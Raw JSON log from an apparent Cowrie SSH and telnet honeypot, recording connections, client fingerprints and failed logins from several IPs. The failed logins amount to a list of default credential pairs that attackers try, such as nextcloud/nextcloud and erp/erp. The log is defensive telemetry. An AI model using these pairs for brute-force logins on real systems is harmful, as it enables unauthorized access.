{"eventid":"cowrie.login.failed","username":"tidb","password":"tidb@1234","message":"login attempt [tidb/tidb@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:30:59.167974Z","src_ip":"176.65.139.95","session":"af0e5e2a9c47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:31:00.255786Z","src_ip":"176.65.139.95","session":"af0e5e2a9c47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":59864,"dst_ip":"159.203.135.109","dst_port":22,"session":"970f96125eee","protocol":"ssh","message":"New connection: 176.65.139.95:59864 (159.203.135.109:22) [session: 970f96125eee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:31:05.433003Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:31:05.438897Z","src_ip":"176.65.139.95","session":"970f96125eee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:31:05.521379Z","src_ip":"176.65.139.95","session":"970f96125eee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nextcloud","password":"nextcloud","message":"login attempt [nextcloud/nextcloud] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:31:05.920012Z","src_ip":"176.65.139.95","session":"970f96125eee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:31:07.027879Z","src_ip":"176.65.139.95","session":"970f96125eee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.59.178.227","src_port":47040,"dst_ip":"10.17.0.5","dst_port":23,"session":"d98e3ea2b101","protocol":"telnet","message":"New connection: 103.59.178.227:47040 (10.17.0.5:23) [session: d98e3ea2b101]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:31:08.396093Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":57884,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc4a69a4be66","protocol":"ssh","message":"New connection: 176.65.139.95:57884 (159.203.135.109:22) [session: bc4a69a4be66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:31:11.913287Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:31:11.917889Z","src_ip":"176.65.139.95","session":"bc4a69a4be66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:31:11.999996Z","src_ip":"176.65.139.95","session":"bc4a69a4be66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"drcomadmin","password":"drcomadmin123","message":"login attempt [drcomadmin/drcomadmin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:31:12.390003Z","src_ip":"176.65.139.95","session":"bc4a69a4be66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.533045053482056,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:31:13.108534Z","src_ip":"157.119.40.230","session":"c9621769b044","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:31:13.496054Z","src_ip":"176.65.139.95","session":"bc4a69a4be66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":57896,"dst_ip":"159.203.135.109","dst_port":22,"session":"43174bb81043","protocol":"ssh","message":"New connection: 176.65.139.95:57896 (159.203.135.109:22) [session: 43174bb81043]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:31:18.389238Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:31:18.406338Z","src_ip":"176.65.139.95","session":"43174bb81043","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:31:18.484560Z","src_ip":"176.65.139.95","session":"43174bb81043","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ecs-user","password":"ecs-user","message":"login attempt [ecs-user/ecs-user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:31:19.052048Z","src_ip":"176.65.139.95","session":"43174bb81043","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:31:20.315495Z","src_ip":"176.65.139.95","session":"43174bb81043","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":56014,"dst_ip":"159.203.135.109","dst_port":22,"session":"4484e002d316","protocol":"ssh","message":"New connection: 159.203.92.129:56014 (159.203.135.109:22) [session: 4484e002d316]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:31:21.996904Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:31:22.038812Z","src_ip":"159.203.92.129","session":"4484e002d316","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:31:22.042532Z","src_ip":"159.203.92.129","session":"4484e002d316","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"HK","password":"123456","message":"login attempt [HK/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:31:22.208019Z","src_ip":"159.203.92.129","session":"4484e002d316","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:31:23.216280Z","src_ip":"159.203.92.129","session":"4484e002d316","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":45968,"dst_ip":"159.203.135.109","dst_port":22,"session":"ae1aea1d7569","protocol":"ssh","message":"New connection: 176.65.139.95:45968 (159.203.135.109:22) [session: ae1aea1d7569]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:31:24.921303Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:31:24.948136Z","src_ip":"176.65.139.95","session":"ae1aea1d7569","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:31:25.037108Z","src_ip":"176.65.139.95","session":"ae1aea1d7569","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erp","password":"erp","message":"login attempt [erp/erp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:31:25.402959Z","src_ip":"176.65.139.95","session":"ae1aea1d7569","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:31:26.487551Z","src_ip":"176.65.139.95","session":"ae1aea1d7569","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.116.23.158","src_port":52804,"dst_ip":"10.17.0.5","dst_port":22,"session":"55a2b1c6c471","protocol":"ssh","message":"New connection: 79.116.23.158:52804 (10.17.0.5:22) [session: 55a2b1c6c471]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:31:27.123887Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:31:27.128755Z","src_ip":"79.116.23.158","session":"55a2b1c6c471","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:31:27.245051Z","src_ip":"79.116.23.158","session":"55a2b1c6c471","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"FTPUser","password":"ftpuser","message":"login attempt [FTPUser/ftpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:31:27.740698Z","src_ip":"79.116.23.158","session":"55a2b1c6c471","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:31:28.861444Z","src_ip":"79.116.23.158","session":"55a2b1c6c471","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":45398,"dst_ip":"159.203.135.109","dst_port":22,"session":"6e443cca7328","protocol":"ssh","message":"New connection: 176.65.139.95:45398 (159.203.135.109:22) [session: 6e443cca7328]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:31:31.469596Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:31:31.569790Z","src_ip":"176.65.139.95","session":"6e443cca7328","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:31:31.598516Z","src_ip":"176.65.139.95","session":"6e443cca7328","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ranga","password":"ranga","message":"login attempt [ranga/ranga] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:31:32.098075Z","src_ip":"176.65.139.95","session":"6e443cca7328","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:31:33.197308Z","src_ip":"176.65.139.95","session":"6e443cca7328","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":45052,"dst_ip":"159.203.135.109","dst_port":22,"session":"c11f9c6bf69b","protocol":"ssh","message":"New connection: 80.94.92.186:45052 (159.203.135.109:22) [session: c11f9c6bf69b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:31:37.321705Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:31:37.392352Z","src_ip":"80.94.92.186","session":"c11f9c6bf69b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:31:37.473216Z","src_ip":"80.94.92.186","session":"c11f9c6bf69b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lighthouse","password":"lighthouse","message":"login attempt [lighthouse/lighthouse] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:31:37.986087Z","src_ip":"80.94.92.186","session":"c11f9c6bf69b","protocol":"ssh"}
